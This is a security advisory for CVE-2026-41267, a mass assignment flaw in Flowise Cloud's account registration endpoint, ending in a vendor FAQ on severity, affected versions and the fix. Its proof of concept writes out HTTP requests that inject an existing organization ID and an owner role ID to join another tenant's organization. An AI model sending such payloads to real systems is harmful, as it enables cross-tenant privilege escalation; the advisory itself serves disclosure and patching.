CVE-2026-41267

An improper mass assignment (JSON injection) vulnerability in the account registration endpoint of Flowise Cloud allows unauthenticated attackers to inject server-managed fields and nested objects during account creation. This enables client-controlled manipulation of ownership metadata, timestamps, organization association, and role mappings, breaking trust boundaries in a multi-tenant environment.

Details

The POST /api/v1/account/register endpoint is intended to accept a minimal payload to create a new user account (e.g., name, email, password). However, the backend fails to enforce a strict allowlist or DTO-based validation and instead blindly maps client-supplied JSON to internal domain models.

As a result, attackers can include additional nested objects and server-managed fields in the request body such as organization, organizationUser, workspace, workspaceUser, and metadata fields like createdBy, updatedBy, createdDate, and updatedDate. These fields are persisted as provided by the client rather than being generated or validated server-side.

This behavior demonstrates a trust boundary violation where authorization and ownership decisions that must be enforced by the server are effectively delegated to untrusted client input. In a multi-tenant SaaS context, this can lead to unauthorized organization association and role assignment during registration.

PoC

Send a standard registration request:

POST /api/v1/account/register HTTP/2
Host: cloud.flowiseai.com
Content-Type: application/json

{
  "user": {
    "name": "Test User",
    "email": "[email protected]",
    "credential": "StrongPassword123!"
  }
}

Observe the 201 Created response returning a newly created user and related objects (organization, workspace, roles).

Send a modified registration request that injects additional server-managed fields and nested objects:

POST /api/v1/account/register HTTP/2
Host: cloud.flowiseai.com
Content-Type: application/json

{
  "user": {
    "name": "Injected User",
    "email": "[email protected]",
    "credential": "StrongPassword123!",
    "createdBy": "<arbitrary-uuid>",
    "updatedBy": "<arbitrary-uuid>",
    "createdDate": "1999-12-27T13:10:47.666Z",
    "updatedDate": "1999-12-27T13:10:47.666Z"
  },
  "organization": {
    "id": "<existing-organization-uuid>",
    "name": "Injected Organization"
  },
  "organizationUser": {
    "organizationId": "<existing-organization-uuid>",
    "roleId": "<owner-role-uuid>"
  }
}

Observe that the server responds with 201 Created and persists the injected fields, reflecting client-controlled values for ownership metadata, timestamps, and organization association.

• Vulnerability Class: Mass Assignment / JSON Injection / Improper Input Validation.
• Who is impacted: All deployments of Flowise Cloud exposing the registration endpoint.

By supplying a known organizationId during registration, an unauthenticated attacker can create a new user account directly associated with an existing organization they do not belong to. This results in unauthorized cross-tenant access and privilege escalation at account creation time, completely bypassing organizational ownership and trust boundaries.

Security Consequences:

1. Client-controlled manipulation of server-managed fields (audit timestamps, ownership metadata).
2. Unauthorized association of newly created accounts with existing organizations.
3. Injection of role and membership relationships during registration.
4. Violation of trust boundaries in a multi-tenant environment, increasing the risk of privilege abuse and audit integrity failures.

The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.

CVE-2026-41267 has a CVSS score of 8.1 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.1.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-41267? CVE-2026-41267 is a high-severity improper input validation vulnerability in flowise (npm), affecting versions <= 3.0.13. It is fixed in 3.1.0. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
2. How severe is CVE-2026-41267? CVE-2026-41267 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of flowise are affected by CVE-2026-41267? flowise (npm) versions <= 3.0.13 is affected.
4. Is there a fix for CVE-2026-41267? Yes. CVE-2026-41267 is fixed in 3.1.0. Upgrade to this version or later.
5. Is CVE-2026-41267 exploitable, and should I be worried? Whether CVE-2026-41267 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-41267 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-41267? Upgrade flowise to 3.1.0 or later.